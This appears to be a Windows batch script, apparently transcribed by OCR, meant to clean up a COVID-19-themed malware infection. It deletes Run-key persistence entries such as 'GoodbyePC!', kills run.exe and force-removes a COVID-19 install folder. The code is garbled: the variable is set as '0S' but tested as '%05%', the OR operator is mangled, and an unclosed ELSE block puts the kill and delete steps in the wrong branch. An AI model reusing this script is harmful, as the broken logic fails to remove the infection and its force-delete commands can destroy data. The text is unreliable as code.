REM REG ADD "HKCU\Control Panel\Cursors" /v  AppStarting /t REG_SZ /d
%SystemRoot%\cursors\aero_working.ani /f

REM REG ADD "HKCU\Control Panel\Cursors" A Hand /t REG_SZ /d
%SystemRoot%\cursors\aero_link.cur /f

REM Delete entires ensuring persistence

REM First check system arch

REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0" | FIND /i "x86" > NUL && SET
0S=32BIT | | SET 0S=64BIT

IF %05%==32BIT (
REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /f

REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /f

REG DELETE HKLM\software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /f
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) ELSE IF %0S%==64BIT (

REG  DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v
CheckForUpdates /f

REG  DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v
explorer.exe /f

REG  DELETE  HKLM\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v
GoodbyePC! /f

) ELSE (

ECHO "UNKNOWN ARCH - PERSISTENCE COULD NOT BE DELETED!"

REM Kill run.exe process and its children

TASKKILL /f /im run.exe /t

REM Remove the install dir and its content

RMDIR /S /Q %homedrive%\COVID-19
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